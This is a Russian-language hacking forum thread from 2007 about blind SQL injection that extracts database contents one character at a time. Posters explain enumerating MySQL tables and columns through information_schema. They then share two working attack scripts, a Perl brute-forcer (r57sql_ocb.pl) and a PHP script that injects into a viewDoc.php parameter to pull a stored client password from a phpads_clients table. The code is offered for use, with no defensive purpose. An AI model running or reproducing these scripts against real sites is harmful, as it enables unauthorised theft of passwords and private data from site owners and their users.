PDA

Просмотр полной версии : Посимвольный перебор в бд


}{0TT@БЬ)Ч
21.01.2007, 06:00
Вот прочитал статью и ни как не могу понять, получается что название колонок,таблиц,бд нельзя таким способом подобрать :confused: Тоесть этот метод используется, если уже известны название, но не осуществляется вывод данных полученных из запроса? :confused:

guest3297
21.01.2007, 11:01
да

_Great_
21.01.2007, 14:25
[cash], не совсем.

БД: database()
колонки и таблицы можно, если версия mysql >= 5.0:
таблицы: select table_name from information_schema.tables
колонки: select column_name from information_schema.columns where table_name='table'

}{0TT@БЬ)Ч
21.01.2007, 15:54
[cash], не совсем.

БД: database()
колонки и таблицы можно, если версия mysql >= 5.0:
таблицы: select table_name from information_schema.tables
колонки: select column_name from information_schema.columns where table_name='table'
тогда получается это уже не посимвольный перебор :) тоесть название колонок,таблиц существующих будет выводиться в сообщениях об ошибках?

_Great_
21.01.2007, 16:20
нет, я про посимвольный перебор
он ведь организуется через
ASCII(SUBSTR(строка, индекс, 1)) > число

в качестве строки для перебора будет подзапрос - (SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES LIMIT 0,1), например.
Ну или через UNION. Врубил?

}{0TT@БЬ)Ч
21.01.2007, 16:45
все, теперь ясно надо подкрепить материал на практике:)Спасибо _Great_

Nekt
24.01.2007, 15:28
У меня был скрипт который перебирал буквы логина или пасса... Задал номер символа в логине или пассе и он перебирает.

C[]R3
24.01.2007, 16:48
У меня был скрипт который перебирал буквы логина или пасса... Задал номер символа в логине или пассе и он перебираетъ
r57_sql_ocb.pl кажетсо, вот код
#!/usr/bin/perl

# r57sql_ocb.pl
# sql-databases one char bruteforce tool

use LWP::UserAgent;

$path = $ARGV[0]; # запрос с уязвимому скрипту с параметром
$query = $ARGV[1]; # запрос к БД (подзапрос) результат которого будет вставлен в функцию substring()
$s_num = $ARGV[2]; # позиция символа который перебираем
$string = $ARGV[3]; # строка в ответе сервера по наличию которой судим о успешном выполнении запроса к БД

if (@ARGV < 4) { &usage; }

# диапазон символов для перебора
$min = $ARGV[4] || 97; # a
$max = $ARGV[5] || 122; # z

&found($min,$max);

# подпрограмма уменьшения диапазона символов
sub found($$)
{
my $fmin = $_[0];
my $fmax = $_[1];
# если диапазон менее 5 символов то переходим к перебору
if (($fmax-$fmin)<5) { &crack($fmin,$fmax); }
# иначе находим середину диапазона
print "-> Try $fmin .. $fmax -> ";
$r = int($fmax - ($fmax-$fmin)/2);
$check = ">$r";
# проверяем ответ скрипта и в зависимости от возвращенного результата
# рекурсивно вызываем функцию с новым диапазоном (уже уменьшенным в 2 раза)
if ( &check($check) ) { print "Char > $r\r\n"; &found($r,$fmax); }
else { print "Char < $r\r\n"; &found($fmin,$r+1); }
}

# подпрограмма поиска перебором
sub crack($$)
{
my $cmin = $_[0];
my $cmax = $_[1];
$i = $cmin;
# проходим циклом по диапазону
while ($i<$cmax)
{
$crcheck = "=$i";
print "-> Try $i ->";
# проверяем ответ скрипта, если ответ положительный то выводим символ и выходим
if ( &check($crcheck) ) { print " FOUND!\r\n-> Ascii: $i\r\n-> Char: ".chr($i); exit(); }
else { print " NO =(\r\n"; }
$i++;
}
print "NOT FOUND"; exit();
}

# подпрограмма проверки результата запроса
sub check($)
{
$ccheck = $_[0];
# формируем запрос к скрипту
$http_query = $path." AND ascii(lower(substring(".$query.",".$s_num.",1)))".$ccheck;
# отправляем запрос
$mcb_reguest = LWP::UserAgent->new() or die;
$res = $mcb_reguest->post($http_query);
# получаем ответ сервера
@results = $res->content;
foreach $result(@results)
{
# ищем в ответе скрипта строку совпадающую с нашим условием
if ($result =~ /$string/) { return 1; }
}
return 0;
}

sub usage
{
print "Usage: $0 [path_to_script?param] [DB_query] [symbol_position] [return_string] [brute_min_char] [brute_max_char]\r\n";
print "e.g. : $0 http://server.com/users.php?id=1 \"user()\" 1 \"Found: 3\" 48 57";
exit();
}

Nekt
24.01.2007, 21:14
<?
$sp=$_GET["sp"];
$type="num";
$hash="";
$s="http://host.com/include/viewDoc.php?docid=1+AND+ascii(lower(substring((SEL ECT+clientpassword+from+phpads_clients+LIMIT+1),$s p,1)))<58";
$f=fopen($s,r);
$get=fread($f,200);
fclose($f);
if ($get!="")
$type="num";
else
$type="char";
switch ($type){
case "num":
$start=48;
$fin=58;

break;
case "char":
$start=92;
$fin=103;

break;
}
for ($i=$start;$i<$fin;$i++){
$s="http://host.com/include/viewDoc.php?docid=1+AND+ascii(lower(substring((SEL ECT+clientpassword+from+phpads_clients+LIMIT+1),$s p,1)))=$i";
$f=fopen($s,r);
$get=fread($f,200);
fclose($f);
if ($get!=""){
$hash=chr($i);
break;
}
}
echo $hash;
?> :)
Вот нашел. Вроде он. :)
P.S. если мона плюсик.